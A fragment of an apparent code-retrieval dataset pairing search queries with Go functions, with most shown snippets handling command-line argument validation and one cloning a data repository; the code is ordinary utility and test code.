fmt.Errorf(InvalidArg, arg.Name, args[i], arg.Validate.TypeName())\n\t\t}\n\t}\n\n\treturn nil\n}", "func checkOptions() {\n\tif !options.GetB(OPT_UNINSTALL) {\n\t\tproc := options.GetS(OPT_PROCFILE)\n\n\t\tswitch {\n\t\tcase proc == \"\":\n\t\t\tprintErrorAndExit(\"You should define path to procfile\", proc)\n\n\t\tcase fsutil.IsExist(proc) == false:\n\t\t\tprintErrorAndExit(\"Procfile %s does not exist\", proc)\n\n\t\tcase fsutil.IsReadable(proc) == false:\n\t\t\tprintErrorAndExit(\"Procfile %s is not readable\", proc)\n\n\t\tcase fsutil.IsNonEmpty(proc) == false:\n\t\t\tprintErrorAndExit(\"Procfile %s is empty\", proc)\n\t\t}\n\t}\n}", "func (v *validator) CheckArgsAmount(args []string) error {\n\toperators, operands := 0, 0\n\tmacthOperator := fmt.Sprintf(`^%s$`, v.ValidOperatorExp)\n\tmacthOperand := fmt.Sprintf(`^%s$`, v.ValidOperandExp)\n\tfor _, arg := range args {\n\t\tif isOperator, _ := regexp.MatchString(macthOperator, arg); isOperator {\n\t\t\toperators++\n\t\t} else if isOperand, _ := regexp.MatchString(macthOperand, arg); isOperand {\n\t\t\toperands++\n\t\t}\n\t}\n\tswitch {\n\tcase operators + operands != len(args):\n\t\treturn fmt.Errorf(\"invalid expression argument(s)\")\n\tcase operands > operators + 1:\n\t\treturn fmt.Errorf(\"too many operands\")\n\tcase operators > operands - 1:\n\t\treturn fmt.Errorf(\"too many operators\")\n\tdefault:\n\t\treturn nil\n\t}\n}", "func TestOauth2BadArguments(t *testing.T) {\n\t// Arrange\n\tlc := logger.MockLogger{}\n\tconfig := &config.ConfigurationStruct{}\n\n\t// Setup test cases\n\tbadArgTestcases := [][]string{\n\t\t{}, // missing all required arguments\n\t\t{\"-badarg\"}, // invalid arg\n\t\t{\"--client_id\", \"someid\"}, // missing --client_secret & --admin_api_jwt\n\t\t{\"--client_id\", \"someid\", \"--client_secret\", \"somesecret\"}, // missing --admin_api_jwt\n\t}\n\n\tfor _, args := range badArgTestcases {\n\t\t// Act\n\t\tcommand, err := NewCommand(lc, config, args)\n\n\t\t// Assert\n\t\tassert.Error(t, err)\n\t\tassert.Nil(t, command)\n\t}\n}", "func parseArgv(l *linter) {\n\tconst enableAll = \"all\"\n\n\tflag.Usage = func() {\n\t\tlog.Printf(\"usage: [flags] package...\")\n\t\tflag.PrintDefaults()\n\t}\n\n\tenable := flag.String(\"enable\", enableAll,\n\t\t`comma-separated list of enabled checkers`)\n\tflag.BoolVar(&l.withExperimental, `withExperimental`, false,\n\t\t`only for -enable=all, include experimental checks`)\n\tflag.BoolVar(&l.withOpinionated, `withOpinionated`, false,\n\t\t`only for -enable=all, include very opinionated checks`)\n\tflag.IntVar(&l.failureExitCode, \"failcode\", 1,\n\t\t`exit code to be used when lint issues are found`)\n\tflag.BoolVar(&l.checkGenerated, \"checkGenerated\", false,\n\t\t`whether to check machine-generated files`)\n\n\tflag.Parse()\n\n\tl.packages = flag.Args()\n\n\tif len(l.packages) == 0 {\n\t\tblame(\"no packages specified\\n\")\n\t}\n\tif *enable != enableAll && l.withExperimental {\n\t\tblame(\"-withExperimental used with -enable=%q\", *enable)\n\t}\n\tif *enable != enableAll && l.withOpinionated {\n\t\tblame(\"-withOpinionated used with -enable=%q\", *enable)\n\t}\n\n\tswitch *enable {\n\tcase enableAll:\n\t\t// Special case. l.enabledCheckers remains nil.\n\tcase \"\":\n\t\t// Empty slice. Semantically \"disable-all\".\n\t\t// Can be used to run all pipelines without actual checkers.\n\t\tl.enabledCheckers = []string{}\n\tdefault:\n\t\t// Comma-separated list of names.\n\t\tl.enabledCheckers = strings.Split(*enable, \",\")\n\t}\n}", "func checkFlags() {\n\t// file flag is required\n\tif *filename == \"\" {\n\t\tlog.Fatalf(\"file is required\")\n\t}\n\n\tif *server == \"\" {\n\t\tlog.Fatalf(\"server is required\")\n\t}\n}", "func checkConfig(config *Config) {\n\n\tif config != nil {\n\t\tcfg = config\n\t\treturn\n\t}\n\n\tcfg = &Config{\n\t\tName: \"World\", // default value\n\t}\n\targ.Parse(cfg)\n}", "func (b *Base) CheckFlags(args []string) (err error) {\n\treturn\n}", "func TestParseArgsFull(t *testing.T) {\n\ta := false\n\tc := false\n\taargs := []string{\"app_arg1\", \"app_arg2\"}\n\tcargs := []string{\"cmd_arg1\", \"cmd_arg2\", \"cmd_arg3\"}\n\tunit, cmd := newParserTestUnit(&a, &c)\n\targuments, _ := newArgs(true, true, aargs, cargs)\n\n\tassert.That(t, cmd, newParserMatcher(unit, arguments))\n\n\tassert.True(t, \"app flag\", a)\n\tassert.True(t, \"cmd flag\", c)\n\n\tassert.Equals(t, \"app arg count\", unit.NArg(), 2)\n\tassert.Equals(t, \"cmd arg count\", cmd.NArg(), 3)\n\n\tassert.StringArrayEquals(t, \"app args\", unit.Args(), aargs)\n\tassert.StringArrayEquals(t, \"cmd args\", cmd.Args(), cargs)\n}", "func (o *arg) check(argument string) (int, error) {\n\trez := o.checkLongName(argument)\n\tif rez > 0 {\n\t\treturn rez, nil\n\t}\n\n\treturn o.checkShortName(argument)\n}", "func sanitize_arguments(strs []string) error {\n\tfor i, val := range strs {\n\t\tif len(val) <= 0 {\n\t\t\treturn errors.New(\"Argument \" + strconv.Itoa(i) + \" must be a non-empty string\")\n\t\t}\n\t\t// if len(val) > 32 {\n\t\t// \treturn errors.New(\"Argument \" + strconv.Itoa(i) + \" must be <= 32 characters\")\n\t\t// }\n\t}\n\treturn nil\n}", "func ValidateArgCount(expectedArgNo, argNo int) error {\n\tswitch {\n\tcase expectedArgNo < argNo:\n\t\treturn ErrUnexpectedArgs\n\tcase expectedArgNo > argNo:\n\t\treturn ErrNotEnoughArgs\n\tcase expectedArgNo == argNo:\n\t}\n\n\treturn nil\n}", "func CheckCreateArgs(cmd *cobra.Command, args []string) (err error) {\n\tname := cmdutil.ArgDefault(args, 0, \"default\")\n\thas, err := wallet.NewDefault().KeyExists(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif has {\n\t\treturn fmt.Errorf(\"%q wallet already exists\", name)\n\t}\n\treturn nil\n}", "func checkForArgErrorsWithAlias(token string, platform, alias string) error {\n\tif token == \"\" && alias == \"\" {\n\t\treturn errors.New(\"Either token or alias need to be set\")\n\t} else if platform != PlatformIos && platform != PlatformAndroid {\n\t\tfmt.Println(\"Fick platform \", platform)\n\t\treturn errors.New(\"Platform must be either PlatformIos or PlatformAndroid\")\n\n\t}\n\treturn nil\n}", "func ParseVariadicCheckArguments(\n\tresult map[string][]string,\n\tconstraints []proto.CheckConfigConstraint,\n\tthresholds []proto.CheckConfigThreshold,\n\targs []string,\n) error {\n\t// used to hold found errors, so if three keywords are missing they can\n\t// all be mentioned in one call\n\terrors := []string{}\n\n\tmultiple := []string{\n\t\t`threshold`,\n\t\t`constraint`}\n\tunique := []string{\n\t\t`in`,\n\t\t`on`,\n\t\t`with`,\n\t\t`interval`,\n\t\t`inheritance`,\n\t\t`childrenonly`,\n\t\t`extern`}\n\trequired := []string{\n\t\t`in`,\n\t\t`on`,\n\t\t`with`,\n\t\t`interval`}\n\n\t// merge key slices\n\tkeys := append(multiple, unique...)\n\n\t// iteration helper\n\tskip := false\n\tskipcount := 0\n\nargloop:\n\tfor pos, val := range args {\n\t\t// skip current arg if it was already consumed\n\t\tif skip {\n\t\t\tskipcount--\n\t\t\tif skipcount == 0 {\n\t\t\t\tskip = false\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif sliceContainsString(val, keys) {\n\t\t\t// there must be at least one arguments left\n\t\t\tif len(args[pos+1:]) < 1 {\n\t\t\t\terrors = append(errors, `Syntax error, incomplete`+\n\t\t\t\t\t` key/value specification (too few items left`+\n\t\t\t\t\t` to parse)`,\n\t\t\t\t)\n\t\t\t\tgoto abort\n\t\t\t}\n\t\t\t// check for back-to-back keyswords\n\t\t\tif err := checkStringNotAKeyword(\n\t\t\t\targs[pos+1], keys,\n\t\t\t); err != nil {\n\t\t\t\terrors = append(errors, err.Error())\n\t\t\t\tgoto abort\n\t\t\t}\n\n\t\t\tswitch val {\n\t\t\tcase `threshold`:\n\t\t\t\tif len(args[pos+1:]) < 6 {\n\t\t\t\t\terrors = append(errors, `Syntax error, incomplete`+\n\t\t\t\t\t\t`threshold specification`)\n\t\t\t\t\tgoto abort\n\t\t\t\t}\n\t\t\t\tthr := proto.CheckConfigThreshold{}\n\t\t\t\tif err := parseThresholdChain(\n\t\t\t\t\tthr,\n\t\t\t\t\targs[pos+1:pos+7],\n\t\t\t\t); err != nil {\n\t\t\t\t\terrors = append(errors, err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tthresholds = append(thresholds, thr)\n\t\t\t\t}\n\t\t\t\tskip = true\n\t\t\t\tskipcount = 6\n\t\t\t\tcontinue argloop\n\n\t\t\tcase `constraint`:\n\t\t\t\t// argument is the start of a constraint specification.\n\t\t\t\t// check we have enough arguments left\n\t\t\t\tif len(args[pos+1:]) < 3 {\n\t\t\t\t\terrors = append(errors, `Syntax error, incomplete`+\n\t\t\t\t\t\t` constraint specification`)\n\t\t\t\t}\n\t\t\t\tconstr := proto.CheckConfigConstraint{}\n\t\t\t\tif err := parseConstraintChain(\n\t\t\t\t\tconstr,\n\t\t\t\t\targs[pos+1:pos+3],\n\t\t\t\t); err != nil {\n\t\t\t\t\terrors = append(errors, err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tconstraints = append(constraints, constr)\n\t\t\t\t}\n\t\t\t\tskip = true\n\t\t\t\tskipcount = 3\n\t\t\t\tcontinue argloop\n\n\t\t\tcase `on`:\n\t\t\t\tresult[`on/type`] = append(result[`on/type`],\n\t\t\t\t\targs[pos+1])\n\t\t\t\tresult[`on/object`] = append(result[`on/object`],\n\t\t\t\t\targs[pos+2])\n\t\t\t\t// set for required+unique checks\n\t\t\t\tresult[val] = append(result[val], fmt.Sprintf(\n\t\t\t\t\t\"%s::%s\", args[pos+1], args[pos+2]))\n\t\t\t\tskip = true\n\t\t\t\tskipcount = 2\n\t\t\t\tcontinue argloop\n\n\t\t\tdefault:\n\t\t\t\t// regular key/value keyword\n\t\t\t\tresult[val] = append(result[val], args[pos+1])\n\t\t\t\tskip = true\n\t\t\t\tskipcount = 1\n\t\t\t\tcontinue argloop\n\t\t\t}\n\t\t}\n\t\t// error is reached if argument was not skipped and not a\n\t\t// recognized keyword\n\t\terrors = append(errors, fmt.Sprintf(\"Syntax error, erroneus\"+\n\t\t\t\" argument: %s\", val))\n\t}\n\n\t// check if all required keywords were collected\n\tfor _, key := range required {\n\t\tif _, ok := result[key]; !ok {\n\t\t\terrors = append(errors, fmt.Sprintf(\"Syntax error,\"+\n\t\t\t\t\" missing keyword: %s\", key))\n\t\t}\n\t}\n\n\t// check if unique keywords were only specuified once\n\tfor _, key := range unique {\n\t\t// check ok since unique may still be optional\n\t\tif sl, ok := result[key]; ok && (len(sl) > 1) {\n\t\t\terrors = append(errors, fmt.Sprintf(\"Syntax error,\"+\n\t\t\t\t\" keyword must only be provided once: %s\", key))\n\t\t}\n\t}\n\nabort:\n\tif len(errors) > 0 {\n\t\treturn fmt.Errorf(combineStrings(errors...))\n\t}\n\n\treturn nil\n}", "func main() {\n\tif len(os.Args) < 2 {\n\t\tfmt.Fprintf(os.Stderr, \"Usage: %s <string> [strings...]\\n\", os.Args[0])\n\t\tos.Exit(1)\n\t}\n\t// Check if each argument is a palindrome\n\tfor _, str := range os.Args[1:] {\n\t\tvar rs runeSlice = []rune(str)\n\t\tswitch IsPalindrome(rs) {\n\t\tcase true:\n\t\t\tfmt.Printf(\"%q is a palindrome\\n\", str)\n\t\tcase false:\n\t\t\tfmt.Printf(\"%q is not a palindrome\\n\", str)\n\t\t}\n\t}\n}", "func IsExactArgs(number int) cobra.PositionalArgs {\n\treturn func(cmd *cobra.Command, args []string) error {\n\t\tif len(args) == number {\n\t\t\treturn nil\n\t\t}\n\t\treturn fmt.Errorf(\n\t\t\t\"%q requires exactly %d %s.\\nSee '%s --help'.\\n\\nUsage: %s\\n\\n%s\",\n\t\t\tcmd.CommandPath(),\n\t\t\tnumber,\n\t\t\t\"argument(s)\",\n\t\t\tcmd.CommandPath(),\n\t\t\tcmd.UseLine(),\n\t\t\tcmd.Short,\n\t\t)\n\t}\n}", "func TestParseArgsCcFcAaA(t *testing.T) {\n\ta := false\n\tc := false\n\taargs := []string{\"app_arg1\", \"app_arg2\"}\n\tcargs := []string{\"cmd_arg1\", \"cmd_arg2\", \"cmd_arg3\"}\n\tunit, cmd := newParserTestUnit(&a, &c)\n\targuments, _ := newArgs(false, true, aargs, cargs)\n\n\tassert.That(t, cmd, newParserMatcher(unit, arguments))\n\n\tassert.False(t, \"app flag\", a)\n\tassert.True(t, \"cmd flag\", c)\n\n\tassert.Equals(t, \"app arg count\", unit.NArg(), 2)\n\tassert.Equals(t, \"cmd arg count\", cmd.NArg(), 3)\n\n\tassert.StringArrayEquals(t, \"app args\", unit.Args(), aargs)\n\tassert.StringArrayEquals(t, \"cmd args\", cmd.Args(), cargs)\n}", "func TestScoptAppArgs(t *testing.T) {\n _, args := sparkSubmitArgSetup()\n inputArgs := `--driver-cores 1 --conf spark.cores.max=1 --driver-memory 512M\n --class org.apache.spark.examples.SparkPi http://spark-example.jar --input1 value1 --input2 value2`\n submitArgs, appFlags := cleanUpSubmitArgs(inputArgs, args.boolVals)\n\n if \"--input1\" != appFlags[0] {\n t.Errorf(\"Failed to parse app args.\")\n }\n if \"value1\" != appFlags[1] {\n t.Errorf(\"Failed to parse app args.\")\n }\n\n if \"--driver-memory=512M\" != submitArgs[2] {\n t.Errorf(\"Failed to parse submit args..\")\n }\n if \"http://spark-example.jar\" != submitArgs[4] {\n t.Errorf(\"Failed to parse submit args..\")\n }\n}", "func checkLookupArgs(argsList *list.List) (arrayForm bool, lookupValue, lookupVector, errArg formulaArg) {\n\tif argsList.Len() < 2 {\n\t\terrArg = newErrorFormulaArg(formulaErrorVALUE, \"LOOKUP requires at least 2 arguments\")\n\t\treturn\n\t}\n\tif argsList.Len() > 3 {\n\t\terrArg = newErrorFormulaArg(formulaErrorVALUE, \"LOOKUP requires at most 3 arguments\")\n\t\treturn\n\t}\n\tlookupValue = newStringFormulaArg(argsList.Front().Value.(formulaArg).Value())\n\tlookupVector = argsList.Front().Next().Value.(formulaArg)\n\tif lookupVector.Type != ArgMatrix && lookupVector.Type != ArgList {\n\t\terrArg = newErrorFormulaArg(formulaErrorVALUE, \"LOOKUP requires second argument of table array\")\n\t\treturn\n\t}\n\tarrayForm = lookupVector.Type == ArgMatrix\n\tif arrayForm && len(lookupVector.Matrix) == 0 {\n\t\terrArg = newErrorFormulaArg(formulaErrorVALUE, \"LOOKUP requires not empty range as second argument\")\n\t}\n\treturn\n}", "func (mv *MoveValidator) ValidateArgs(args []string) error {\n\tfor _, arg := range args {\n\t\tif !validpath.Valid(arg) {\n\t\t\treturn fmt.Errorf(\"%s is not a valid argument\", arg)\n\t\t}\n\t}\n\tif len(args) != 2 {\n\t\treturn fmt.Errorf(\"Expected there to be 2 arguments, but got %d\", len(args))\n\t}\n\treturn nil\n}", "func (args *DataArgs) Check() *constant.YiError {\n\tif args.ReqBufferCap == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero request buffer capacity.\")\n\t}\n\tif args.ReqMaxBufferNumber == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero max request buffer number.\")\n\t}\n\tif args.RespBufferCap == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero response buffer capacity.\")\n\t}\n\tif args.RespMaxBufferNumber == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero max response buffer capacity.\")\n\t}\n\tif args.ItemBufferCap == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero item buffer capacity.\")\n\t}\n\tif args.ItemMaxBufferNumber == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero max item buffer capatity.\")\n\t}\n\tif args.ErrorBufferCap == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero error buffer capacity.\")\n\t}\n\tif args.ErrorMaxBufferNumber == 0 {\n\t\treturn constant.NewYiErrorf(constant.ERR_ARGS, \"Zero max error buffer number.\")\n\t}\n\treturn nil\n}", "func OnlyValidArgs(cmd *Command, args []string) error {\n\tif len(cmd.ValidArgs) > 0 {\n\t\t// Remove any description that may be included in ValidArgs.\n\t\t// A description is following a tab character.\n\t\tvar validArgs []string\n\t\tfor _, v := range cmd.ValidArgs {\n\t\t\tvalidArgs = append(validArgs, strings.Split(v, \"\\t\")[0])\n\t\t}\n\t\tfor _, v := range args {\n\t\t\tif !stringInSlice(v, validArgs) {\n\t\t\t\treturn fmt.Errorf(\"invalid argument %q for %q%s\", v, cmd.CommandPath(), cmd.findSuggestions(args[0]))\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func parseArgs() {\n\tflag.StringVar(&masterPhrase, \"master\", \"\", \"The master phrase to use for password generation. Do NOT forget to escape any special characters contained in the master phrase (e.g. $, space etc).\")\n\tflag.StringVar(&masterPhraseFile, \"master-file\", \"\", \"The path to a file, containing the master phrase.\")\n\n\tflag.StringVar(&domain, \"domain\", \"\", \"The domain for which this password is intended\")\n\tflag.StringVar(&additionalInfo, \"additional-info\", \"\", \"Free text to add (e.g. index/timestamp/username if the previous password was compromized)\")\n\tflag.IntVar(&passLength, \"password-length\", 12, \"Define the length of the password.\")\n\tflag.BoolVar(&addSpecialChars, \"special-characters\", true, \"Whether to add a known set of special characters to the password\")\n\tflag.BoolVar(&addInfoToLog, \"log-info\", false, \"Whether to log the parameters that were used for generation to a file. Note that the password itself will NOT be stored!\")\n\n\tflag.Parse()\n}", "func (c *modAccountRun) validate(args []string) error {\n\tif len(args) < 2 {\n\t\treturn errors.New(\"not enough arguments\")\n\t}\n\n\tif len(args) > 2 {\n\t\treturn errors.New(\"too many arguments\")\n\t}\n\n\treturn nil\n}", "func TestParseArgsaFCcFcA(t *testing.T) {\n\ta := false\n\tc := false\n\taargs := []string{}\n\tcargs := []string{\"cmd_arg1\", \"cmd_arg2\", \"cmd_arg3\"}\n\tunit, cmd := newParserTestUnit(&a, &c)\n\targuments, _ := newArgs(true, true, aargs, cargs)\n\n\tassert.That(t, cmd, newParserMatcher(unit, arguments))\n\n\tassert.True(t, \"app flag\", a)\n\tassert.True(t, \"cmd flag\", c)\n\n\tassert.Equals(t, \"app arg count\", unit.NArg(), 0)\n\tassert.Equals(t, \"cmd arg count\", cmd.NArg(), 3)\n\n\tassert.StringArrayEquals(t, \"app args\", unit.Args(), aargs)\n\tassert.StringArrayEquals(t, \"cmd args\", cmd.Args(), cargs)\n}", "func sanitize_arguments(strs []string) error{\n\tfor i, val:= range strs {\n\t\tif len(val) <= 0 {\n\t\t\treturn errors.New(\"Argument \" + strconv.Itoa(i) + \" must be a non-empty string\")\n\t\t}\n\t\tif len(val) > 32 {\n\t\t\treturn errors.New(\"Argument \" + strconv.Itoa(i) + \" must be <= 32 characters\")\n\t\t}\n\t}\n\treturn nil\n}", "func sanitize_arguments(strs []string) error{\n\tfor i, val:= range strs {\n\t\tif len(val) <= 0 {\n\t\t\treturn errors.New(\"Argument \" + strconv.Itoa(i) + \" must be a non-empty string\")\n\t\t}\n\t\tif len(val) > 32 {\n\t\t\treturn errors.New(\"Argument \" + strconv.Itoa(i) + \" must be <= 32 characters\")\n\t\t}\n\t}\n\treturn nil\n}", "func ValidStringArgs(possibilities []string, received string) bool {\n\tfor _, possible := range possibilities {\n\t\tif possible == received {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (o *arg) checkLongName(argument string) int {\n\t// Check for long name only if not empty\n\tif o.lname != \"\" {\n\t\t// If argument begins with \"--\" and next is not \"-\" then it is a long name\n\t\tif len(argument) > 2 && strings.HasPrefix(argument, \"--\") && argument[2] != '-' {\n\t\t\tif argument[2:] == o.lname {\n\t\t\t\treturn 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0\n}", "func TestParseArgsaFCcAaA(t *testing.T) {\n\ta := false\n\tc := false\n\taargs := []string{\"app_arg1\", \"app_arg2\"}\n\tcargs := []string{\"cmd_arg1\", \"cmd_arg2\", \"cmd_arg3\"}\n\tunit, cmd := newParserTestUnit(&a, &c)\n\targuments, _ := newArgs(true, false, aargs, cargs)\n\n\tassert.That(t, cmd, newParserMatcher(unit, arguments))\n\n\tassert.True(t, \"app flag\", a)\n\tassert.False(t, \"cmd flag\", c)\n\n\tassert.Equals(t, \"app arg count\", unit.NArg(), 2)\n\tassert.Equals(t, \"cmd arg count\", cmd.NArg(), 3)\n\n\tassert.StringArrayEquals(t, \"app args\", unit.Args(), aargs)\n\tassert.StringArrayEquals(t, \"cmd args\", cmd.Args(), cargs)\n}", "func CheckFlags(sampler config.Sampler) (int, bool) {\n\tif helpConfig {\n\t\tsampler.Sample(os.Stdout, nil, nil)\n\t\treturn 0, false\n\t}\n\tif version {\n\t\tfmt.Printf(VersionInfo())\n\t\treturn 0, false\n\t}\n\tif configFile == \"\" {\n\t\tfmt.Fprintln(os.Stderr, \"Err: Missing config file\")\n\t\tflag.Usage()\n\t\treturn 1, false\n\t}\n\treturn 0, true\n}", "func getArguments() {\n\t// define pointers to the arguments which will be filled up when flag.Parse() is called\n\tlangFlag := flag.String(\"l\", string(auto), \"Which language to use. Args are: lua | wren | moon | auto\")\n\tdirFlag := flag.String(\"d\", \".\", \"The directory containing the main file and the subfiles\")\n\toutFlag := flag.String(\"o\", \"out\", \"The output file (sans extension)\")\n\twatchFlag := flag.Bool(\"w\", false, \"Whether to enable Watch mode, which automatically recompiles if a file has changed in the directory\")\n\tdefinesFlag := flag.String(\"D\", \"\", \"Used to pass in defines before compiling. Format is -D \\\"var1=value;var2=value;var3=value\\\"\")\n\n\t// begin parsing the flags\n\tflag.Parse()\n\n\t// these setup functions have to be performed in this particular order\n\t// because they depend on certain fields of Args to be set when they are called\n\t_setDir(*dirFlag)\n\t_setLanguage(*langFlag)\n\t_setOutputFile(*outFlag)\n\t_setDefines(*definesFlag)\n\n\tArgs.watchMode = *watchFlag\n\n\t// this gives all the non-flag command line args\n\tArgs.positional = flag.Args()\n}", "func parseArgs(conf *Config) {\n\tvar parser = flags.NewParser(conf, flags.Default)\n\n\t/*\n\t Input validation. Don't silently fail. Print the usage instead.\n\t We might do something with \"unparsed\" later, but the Args nested\n\t struct in Config slurps the rest of the arguments into command.\n\n\t There seems to be a bug where --help prints twice... I tried to\n\t mitigate it by overriding with my own --help. I think it's caused\n\t by the fact that I have required args? Not worth investing any more\n\t time\n\t*/\n\n\tunparsed, err := parser.Parse()\n\tif err != nil || len(unparsed) > 1 || conf.Help {\n\t\tprintHelp(parser)\n\t}\n}", "func (p *CLIPacker) ParseArgs() bool {\n\n\tif p.Dir != nil && p.TargetBinary != nil && p.EntryFile != \"\" {\n\t\treturn false\n\t}\n\n\tbinname, err := filepath.Abs(osArgs[0])\n\terrorutil.AssertOk(err)\n\n\twd, _ := os.Getwd()\n\n\tp.Dir = flag.String(\"dir\", wd, \"Root directory for ECAL interpreter\")\n\tp.SourceBinary = flag.String(\"source\", binname, \"Filename for source binary\")\n\tp.TargetBinary = flag.String(\"target\", \"out.bin\", \"Filename for target binary\")\n\tshowHelp := flag.Bool(\"help\", false, \"Show this help message\")\n\n\tflag.Usage = func() {\n\t\tfmt.Fprintln(flag.CommandLine.Output())\n\t\tfmt.Fprintln(flag.CommandLine.Output(), fmt.Sprintf(\"Usage of %s pack [options] [entry file]\", os.Args[0]))\n\t\tfmt.Fprintln(flag.CommandLine.Output())\n\t\tflag.PrintDefaults()\n\t\tfmt.Fprintln(flag.CommandLine.Output())\n\t\tfmt.Fprintln(flag.CommandLine.Output(), \"This tool will collect all files in the root directory and \"+\n\t\t\t\"build a standalone executable from the given source binary and the collected files.\")\n\t\tfmt.Fprintln(flag.CommandLine.Output())\n\t}\n\n\tif len(os.Args) >= 2 {\n\t\tflag.CommandLine.Parse(osArgs[2:])\n\n\t\tif cargs := flag.Args(); len(cargs) > 0 {\n\t\t\tp.EntryFile = flag.Arg(0)\n\t\t} else {\n\t\t\t*showHelp = true\n\t\t}\n\n\t\tif *showHelp {\n\t\t\tflag.Usage()\n\t\t}\n\t}\n\n\treturn *showHelp\n}", "func ValidateArgs(config Config) error {\n\tvalidUpgradeScope := false\n\tfor _, scope := range config.TargetCluster.UpgradeScopes() {\n\t\tif config.TargetCluster.UpgradeScope == scope {\n\t\t\tvalidUpgradeScope = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !validUpgradeScope {\n\t\treturn errors.Errorf(\"invalid upgrade scope, must be one of %v\", config.TargetCluster.UpgradeScopes())\n\t}\n\n\tif _, err := semver.ParseTolerant(config.KubernetesVersion); err != nil {\n\t\treturn errors.Errorf(\"Invalid Kubernetes version: %q\", config.KubernetesVersion)\n\t}\n\n\tif (config.MachineUpdates.Image.ID == \"\" && config.MachineUpdates.Image.Field != \"\") ||\n\t\t(config.MachineUpdates.Image.ID != \"\" && config.MachineUpdates.Image.Field == \"\") {\n\t\treturn errors.New(\"when specifying image id, image field is required (and vice versa)\")\n\t}\n\n\tif config.MachineDeployment.Name != \"\" && config.MachineDeployment.LabelSelector != \"\" {\n\t\treturn errors.New(\"you may only set one of machine deployment name and label selector, but not both\")\n\t}\n\n\treturn nil\n}" ]
[ "0.7524863", "0.7486469", "0.73417056", "0.7286023", "0.72810936", "0.72313786", "0.71089345", "0.71022826", "0.70681334", "0.7038693", "0.697468", "0.67858285", "0.6767945", "0.6748791", "0.6740648", "0.6659914", "0.66559744", "0.6644422", "0.6632238", "0.65664023", "0.65651894", "0.65518063", "0.652568", "0.65190876", "0.6457353", "0.64276856", "0.6357925", "0.6347339", "0.626285", "0.62279886", "0.6209829", "0.61959887", "0.61377573", "0.61349183", "0.61242944", "0.61204785", "0.611745", "0.6106807", "0.6099495", "0.6098218", "0.6096084", "0.60894376", "0.60798925", "0.60475945", "0.6038188", "0.6030133", "0.59972996", "0.5941343", "0.5934314", "0.59314495", "0.59204686", "0.5915848", "0.5849515", "0.58389634", "0.582095", "0.5812871", "0.5792678", "0.577815", "0.5752963", "0.5741294", "0.57410395", "0.574", "0.56980306", "0.5676439", "0.56632376", "0.5659601", "0.5646333", "0.5620159", "0.5609402", "0.5601682", "0.5585942", "0.55742943", "0.5565907", "0.5561562", "0.5540946", "0.5536372", "0.5513521", "0.5509797", "0.5500622", "0.5498025", "0.54909104", "0.54657215", "0.5460064", "0.5443769", "0.54408354", "0.5431411", "0.5427469", "0.5413415", "0.5412932", "0.540428", "0.5397158", "0.5397158", "0.5388166", "0.5361308", "0.53571564", "0.53553987", "0.5343711", "0.53387326", "0.53352636", "0.53328955" ]
0.7053545
9
cloneRepository start repository clone process
func cloneRepository(url, dir string) { fmtc.Printf("Fetching index from {*}%s{!}…\n", url) i, err := fetchIndex(url) if err != nil { printErrorAndExit(err.Error()) } if i.Meta.Items == 0 { printErrorAndExit("Repository is empty") } printRepositoryInfo(i) uuid := getCurrentIndexUUID(dir) if uuid == i.UUID { fmtc.Println("{g}Looks like you already have the same set of data{!}") return } if !options.GetB(OPT_YES) { ok, err := terminal.ReadAnswer("Clone this repository?", "N") fmtc.NewLine() if !ok || err != nil { os.Exit(0) } } downloadRepositoryData(i, url, dir) saveIndex(i, dir) fmtc.NewLine() fmtc.Printf("{g}Repository successfully cloned to {g*}%s{!}\n", dir) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func cloneRepo(URI string, destdir string, conf *Configuration) error {\n\t// NOTE: cloneRepo changes the working directory to the cloned repository\n\t// See: https://github.com/G-Node/gin-cli/issues/225\n\t// This will need to change when that issue is fixed\n\torigdir, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Printf(\"%s: Failed to get working directory when cloning repository. Was our working directory removed?\", lpStorage)\n\t\treturn err\n\t}\n\tdefer os.Chdir(origdir)\n\terr = os.Chdir(destdir)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"Cloning %s\", URI)\n\n\tclonechan := make(chan git.RepoFileStatus)\n\tgo conf.GIN.Session.CloneRepo(strings.ToLower(URI), clonechan)\n\tfor stat := range clonechan {\n\t\tlog.Print(stat)\n\t\tif stat.Err != nil {\n\t\t\tlog.Printf(\"Repository cloning failed: %s\", stat.Err)\n\t\t\treturn stat.Err\n\t\t}\n\t}\n\n\tdownloadchan := make(chan git.RepoFileStatus)\n\tgo conf.GIN.Session.GetContent(nil, downloadchan)\n\tfor stat := range downloadchan {\n\t\tlog.Print(stat)\n\t\tif stat.Err != nil {\n\t\t\tlog.Printf(\"Repository cloning failed during annex get: %s\", stat.Err)\n\t\t\treturn stat.Err\n\t\t}\n\t}\n\treturn nil\n}", "func (this *Bootstrap) cloneRepositoties() error {\n\tlog.Info(\"Cloning Repositories Start\")\n\tif len(this.Services) < 1 {\n\t\treturn fmt.Errorf(\"Models.Services obj found null.\")\n\t}\n\n\t//Check project Name directory exists\n\t//if [[ {{ escape .ProjectName }} != ${PWD##*/} ]]; then\n\t// if [[ ! -d {{ escape .ProjectName }} ]]; then\n\t// mkdir {{ escape .ProjectName }}\n\t// fi\n\t// cd {{ escape .ProjectName }}\n\t//fi\n\n\tif strings.Index(curdir, this.ProjectName) < 1 {\n\t\tif err := os.MkdirAll(this.ProjectName, 0777); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t//TODO: check makefile is file not dir. if exists->delette this file\n\t//[[ -f 